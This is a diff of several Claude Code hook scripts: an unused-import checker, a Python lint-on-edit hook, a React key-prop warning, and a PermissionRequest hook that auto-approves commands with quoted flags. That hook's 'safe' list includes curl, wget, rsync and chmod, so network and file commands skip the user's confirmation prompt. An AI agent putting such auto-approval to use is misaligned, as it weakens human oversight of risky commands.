m = re.match(r'^from\s+\S+\s+import\s+(.+)', line)
|
|
35
|
+
if m:
|
|
36
|
+
for name in m.group(1).split(','):
|
|
37
|
+
name = name.strip().split(' as ')[-1].strip()
|
|
38
|
+
if name and name != '*':
|
|
39
|
+
imports.append(name)
|
|
40
|
+
|
|
41
|
+
unused = []
|
|
42
|
+
for imp in imports:
|
|
43
|
+
# Count occurrences (excluding the import line itself)
|
|
44
|
+
count = len(re.findall(r'\b' + re.escape(imp) + r'\b', content))
|
|
45
|
+
if count <= 1: # Only appears in the import line
|
|
46
|
+
unused.append(imp)
|
|
47
|
+
|
|
48
|
+
if unused:
|
|
49
|
+
print(f'Possibly unused imports in $FILE: {', '.join(unused[:5])}', file=sys.stderr)
|
|
50
|
+
" 2>&1
|
|
51
|
+
|
|
52
|
+
exit 0
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# python-ruff-on-edit.sh — Run ruff lint after editing Python files
|
|
3
|
+
#
|
|
4
|
+
# TRIGGER: PostToolUse
|
|
5
|
+
# MATCHER: Edit
|
|
6
|
+
#
|
|
7
|
+
# Best with the v2.1.85 "if" field to avoid running on non-Python edits:
|
|
8
|
+
#
|
|
9
|
+
# {
|
|
10
|
+
# "hooks": {
|
|
11
|
+
# "PostToolUse": [{
|
|
12
|
+
# "matcher": "Edit",
|
|
13
|
+
# "hooks": [{
|
|
14
|
+
# "type": "command",
|
|
15
|
+
# "if": "Edit(*.py)",
|
|
16
|
+
# "command": "~/.claude/hooks/python-ruff-on-edit.sh"
|
|
17
|
+
# }]
|
|
18
|
+
# }]
|
|
19
|
+
# }
|
|
20
|
+
# }
|
|
21
|
+
#
|
|
22
|
+
# Without "if", the hook runs after every Edit and checks internally.
|
|
23
|
+
|
|
24
|
+
INPUT=$(cat)
|
|
25
|
+
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
26
|
+
|
|
27
|
+
# Skip non-Python files (redundant with "if" field, kept for backward compat)
|
|
28
|
+
[[ "$FILE" != *.py ]] && exit 0
|
|
29
|
+
[ ! -f "$FILE" ] && exit 0
|
|
30
|
+
|
|
31
|
+
# Prefer ruff, fall back to flake8, then pylint
|
|
32
|
+
if command -v ruff &>/dev/null; then
|
|
33
|
+
ISSUES=$(ruff check "$FILE" --quiet 2>/dev/null)
|
|
34
|
+
elif command -v flake8 &>/dev/null; then
|
|
35
|
+
ISSUES=$(flake8 "$FILE" --max-line-length=120 2>/dev/null)
|
|
36
|
+
elif command -v pylint &>/dev/null; then
|
|
37
|
+
ISSUES=$(pylint "$FILE" --errors-only --score=no 2>/dev/null)
|
|
38
|
+
else
|
|
39
|
+
exit 0 # No linter available
|
|
40
|
+
fi
|
|
41
|
+
|
|
42
|
+
if [ -n "$ISSUES" ]; then
|
|
43
|
+
COUNT=$(echo "$ISSUES" | wc -l)
|
|
44
|
+
echo "⚠ Lint: $COUNT issue(s) in $(basename "$FILE")" >&2
|
|
45
|
+
echo "$ISSUES" | head -5 >&2
|
|
46
|
+
if [ "$COUNT" -gt 5 ]; then
|
|
47
|
+
echo " ... and $((COUNT - 5)) more" >&2
|
|
48
|
+
fi
|
|
49
|
+
fi
|
|
50
|
+
|
|
51
|
+
exit 0
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# quoted-flag-approver.sh — Auto-approve commands with quoted flag values
|
|
3
|
+
#
|
|
4
|
+
# Solves: "Command contains quoted characters in flag names" false positives
|
|
5
|
+
# (#27957 — 70 reactions, breaks agentic workflows)
|
|
6
|
+
#
|
|
7
|
+
# After a Claude Code update, normal commands like:
|
|
8
|
+
# git commit -m "fix bug"
|
|
9
|
+
# bun run build --flag "value"
|
|
10
|
+
# trigger a confirmation prompt even when they match allowlist patterns.
|
|
11
|
+
#
|
|
12
|
+
# This PermissionRequest hook auto-approves these prompts when:
|
|
13
|
+
# 1. The base command is in a safe list
|
|
14
|
+
# 2. The only "issue" is quoted characters in flag values
|
|
15
|
+
#
|
|
16
|
+
# TRIGGER: PermissionRequest
|
|
17
|
+
# MATCHER: ""
|
|
18
|
+
#
|
|
19
|
+
# Usage:
|
|
20
|
+
# {
|
|
21
|
+
# "hooks": {
|
|
22
|
+
# "PermissionRequest": [{
|
|
23
|
+
# "matcher": "",
|
|
24
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/quoted-flag-approver.sh" }]
|
|
25
|
+
# }]
|
|
26
|
+
# }
|
|
27
|
+
# }
|
|
28
|
+
|
|
29
|
+
INPUT=$(cat)
|
|
30
|
+
|
|
31
|
+
# Only handle "quoted characters in flag names" prompts
|
|
32
|
+
MESSAGE=$(echo "$INPUT" | jq -r '.message // empty' 2>/dev/null)
|
|
33
|
+
echo "$MESSAGE" | grep -qi "quoted characters in flag" || exit 0
|
|
34
|
+
|
|
35
|
+
# Extract the command being checked
|
|
36
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
37
|
+
[ -z "$COMMAND" ] && exit 0
|
|
38
|
+
|
|
39
|
+
# Safe base commands — customize for your project
|
|
40
|
+
SAFE_COMMANDS="git|npm|npx|bun|yarn|pnpm|docker|make|cargo|go|pip|python3|node|tsc|eslint|prettier|jest|vitest|pytest|curl|wget|rsync|tar|zip|unzip|cp|mv|mkdir|cat|echo|grep|find|ls|chmod|sed|awk"
|
|
41
|
+
|
|
42
|
+
# Extract base command (first word, ignoring env vars and path)
|
|
43
|
+
BASE_CMD=$(echo "$COMMAND" | sed 's/^[A-Z_]*=[^ ]* //' | awk '{print $1}' | sed 's|.*/||')
|
|
44
|
+
|
|
45
|
+
if echo "$BASE_CMD" | grep -qE "^($SAFE_COMMANDS)$"; then
|
|
46
|
+
echo '{"permissionDecision":"allow"}'
|
|
47
|
+
exit 0
|
|
48
|
+
fi
|
|
49
|
+
|
|
50
|
+
# Unknown command — let the prompt through
|
|
51
|
+
exit 0
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# react-key-warn.sh — Warn about missing key props in JSX lists
|
|
3
|
+
#
|
|
4
|
+
# Prevents: "Each child in a list should have a unique key prop" errors.
|
|
5
|
+
# Claude often generates .map() without key props.
|
|
6
|
+
#
|
|
7
|
+
# TRIGGER: PostToolUse
|
|
8
|
+
# MATCHER: "Write|Edit"
|
|
9
|
+
|
|
10
|
+
INPUT=$(cat)
|
|
11
|
+
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
12
|
+
[ -z "$FILE" ] && exit 0
|
|
13
|
+
|
|
14
|
+
case "$FILE" in
|
|
15
|
+
*.jsx|*.tsx) ;;
|
|
16
|
+
*) exit 0 ;;
|
|
17
|
+
esac
|
|
18
|
+
|
|
19
|
+
[ ! -f "$FILE" ] && exit 0
|
|
20
|
+
|
|
21
|
+
# Check for .map( without key= in the return
|
|
22
|
+
if grep -qE '\.map\s*\(' "$FILE"; then
|
|
23
|
+
# Count map calls and key props
|
|
24
|
+
MAPS=$(grep -c '\.map\s*(' "$FILE" 2>/dev/null || echo 0)
|
|
25
|
+
KEYS=$(grep -c 'key=' "$FILE" 2>/dev/null || echo 0)
|
|
26
|
+
if [ "$MAPS" -gt "$KEYS" ]; then
|
|
27
|
+
echo "WARNING: $FILE has $MAPS .map() calls but only $KEYS key= props." >&2
|
|
28
|
+
echo " Add key props to list items to avoid React warnings." >&2
|
|
29
|
+
fi
|
|
30
|
+
fi
|
|
31
|
+
|
|
32
|
+
exit 0
|